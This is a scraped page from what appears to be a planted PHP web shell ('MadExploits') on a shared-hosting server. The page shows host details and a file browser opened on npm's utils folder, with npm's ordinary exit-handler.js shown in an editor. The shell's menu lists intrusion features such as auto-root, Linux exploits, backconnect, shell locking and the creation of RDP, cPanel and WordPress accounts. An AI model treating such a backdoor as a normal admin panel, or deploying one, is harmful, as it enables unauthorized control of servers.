Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.140.186.17
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
lib /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
completion
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
ansi-trim.js
173
B
-rw-r--r--
audit-error.js
978
B
-rw-r--r--
cmd-list.js
2.46
KB
-rw-r--r--
completion.sh
1.85
KB
-rwxr-xr-x
did-you-mean.js
1.46
KB
-rw-r--r--
display.js
2.84
KB
-rw-r--r--
error-message.js
12.64
KB
-rw-r--r--
exit-handler.js
6.77
KB
-rw-r--r--
explain-dep.js
3.73
KB
-rw-r--r--
explain-eresolve.js
2.56
KB
-rw-r--r--
format-bytes.js
629
B
-rw-r--r--
format-search-stream.js
3.93
KB
-rw-r--r--
get-identity.js
740
B
-rw-r--r--
is-windows.js
233
B
-rw-r--r--
log-file.js
7.64
KB
-rw-r--r--
log-shim.js
1.68
KB
-rw-r--r--
npm-usage.js
1.95
KB
-rw-r--r--
open-url-prompt.js
1.54
KB
-rw-r--r--
open-url.js
1.17
KB
-rw-r--r--
otplease.js
1.23
KB
-rw-r--r--
ping.js
252
B
-rw-r--r--
pulse-till-done.js
412
B
-rw-r--r--
queryable.js
9.58
KB
-rw-r--r--
read-user-info.js
1.99
KB
-rw-r--r--
reify-finish.js
876
B
-rw-r--r--
reify-output.js
4.96
KB
-rw-r--r--
replace-info.js
807
B
-rw-r--r--
tar.js
3.73
KB
-rw-r--r--
timers.js
3.18
KB
-rw-r--r--
update-notifier.js
4.45
KB
-rw-r--r--
validate-lockfile.js
1023
B
-rw-r--r--
web-auth.js
558
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : exit-handler.js
const os = require('os') const log = require('./log-shim.js') const errorMessage = require('./error-message.js') const replaceInfo = require('./replace-info.js') const messageText = msg => msg.map(line => line.slice(1).join(' ')).join('\n') const indent = (val) => Array.isArray(val) ? val.map(v => indent(v)) : ` ${val}` let npm = null // set by the cli let exitHandlerCalled = false let showLogFileError = false process.on('exit', code => { log.disableProgress() // process.emit is synchronous, so the timeEnd handler will run before the // unfinished timer check below process.emit('timeEnd', 'npm') const hasNpm = !!npm const hasLoadedNpm = hasNpm && npm.config.loaded // Unfinished timers can be read before config load if (hasNpm) { for (const [name, timer] of npm.unfinishedTimers) { log.verbose('unfinished npm timer', name, timer) } } if (!code) { log.info('ok') } else { log.verbose('code', code) } if (!exitHandlerCalled) { process.exitCode = code || 1 log.error('', 'Exit handler never called!') // eslint-disable-next-line no-console console.error('') log.error('', 'This is an error with npm itself. Please report this error at:') log.error('', ' <https://github.com/npm/cli/issues>') showLogFileError = true } // npm must be loaded to know where the log file was written if (hasLoadedNpm) { // write the timing file now, this might do nothing based on the configs set. // we need to call it here in case it errors so we dont tell the user // about a timing file that doesn't exist npm.writeTimingFile() const logsDir = npm.logsDir const logFiles = npm.logFiles const timingDir = npm.timingDir const timingFile = npm.timingFile const timing = npm.config.get('timing') const logsMax = npm.config.get('logs-max') // Determine whether to show log file message and why it is // being shown since in timing mode we always show the log file message const logMethod = showLogFileError ? 'error' : timing ? 'info' : null if (logMethod) { if (!npm.silent) { // just a line break if not in silent mode // eslint-disable-next-line no-console console.error('') } const message = [] if (timingFile) { message.push('Timing info written to:', indent(timingFile)) } else if (timing) { message.push( `The timing file was not written due to an error writing to the directory: ${timingDir}` ) } if (logFiles.length) { message.push('A complete log of this run can be found in:', ...indent(logFiles)) } else if (logsMax <= 0) { // user specified no log file message.push(`Log files were not written due to the config logs-max=${logsMax}`) } else { // could be an error writing to the directory message.push( `Log files were not written due to an error writing to the directory: ${logsDir}`, 'You can rerun the command with `--loglevel=verbose` to see the logs in your terminal' ) } log[logMethod]('', message.join('\n')) } // This removes any listeners npm setup, mostly for tests to avoid max listener warnings npm.unload() } // these are needed for the tests to have a clean slate in each test case exitHandlerCalled = false showLogFileError = false }) const exitHandler = err => { exitHandlerCalled = true log.disableProgress() const hasNpm = !!npm const hasLoadedNpm = hasNpm && npm.config.loaded if (!hasNpm) { err = err || new Error('Exit prior to setting npm in exit handler') // eslint-disable-next-line no-console console.error(err.stack || err.message) return process.exit(1) } if (!hasLoadedNpm) { err = err || new Error('Exit prior to config file resolving.') // eslint-disable-next-line no-console console.error(err.stack || err.message) } // only show the notification if it finished. if (typeof npm.updateNotification === 'string') { const { level } = log log.level = 'notice' log.notice('', npm.updateNotification) log.level = level } let exitCode let noLogMessage if (err) { exitCode = 1 // if we got a command that just shells out to something else, then it // will presumably print its own errors and exit with a proper status // code if there's a problem. If we got an error with a code=0, then... // something else went wrong along the way, so maybe an npm problem? const isShellout = npm.commandInstance && npm.commandInstance.constructor.isShellout const quietShellout = isShellout && typeof err.code === 'number' && err.code if (quietShellout) { exitCode = err.code noLogMessage = true } else if (typeof err === 'string') { // XXX: we should stop throwing strings log.error('', err) noLogMessage = true } else if (!(err instanceof Error)) { log.error('weird error', err) noLogMessage = true } else { if (!err.code) { const matchErrorCode = err.message.match(/^(?:Error: )?(E[A-Z]+)/) err.code = matchErrorCode && matchErrorCode[1] } for (const k of ['type', 'stack', 'statusCode', 'pkgid']) { const v = err[k] if (v) { log.verbose(k, replaceInfo(v)) } } log.verbose('cwd', process.cwd()) log.verbose('', os.type() + ' ' + os.release()) log.verbose('node', process.version) log.verbose('npm ', 'v' + npm.version) for (const k of ['code', 'syscall', 'file', 'path', 'dest', 'errno']) { const v = err[k] if (v) { log.error(k, v) } } const msg = errorMessage(err, npm) for (const errline of [...msg.summary, ...msg.detail]) { log.error(...errline) } if (hasLoadedNpm && npm.config.get('json')) { const error = { error: { code: err.code, summary: messageText(msg.summary), detail: messageText(msg.detail), }, } npm.outputError(JSON.stringify(error, null, 2)) } if (typeof err.errno === 'number') { exitCode = err.errno } else if (typeof err.code === 'number') { exitCode = err.code } } } log.verbose('exit', exitCode || 0) showLogFileError = (hasLoadedNpm && npm.silent) || noLogMessage ? false : !!exitCode // explicitly call process.exit now so we don't hang on things like the // update notifier, also flush stdout/err beforehand because process.exit doesn't // wait for that to happen. let flushed = 0 const flush = [process.stderr, process.stdout] const exit = () => ++flushed === flush.length && process.exit(exitCode) flush.forEach((f) => f.write('', exit)) } module.exports = exitHandler module.exports.setNpm = n => (npm = n)
Close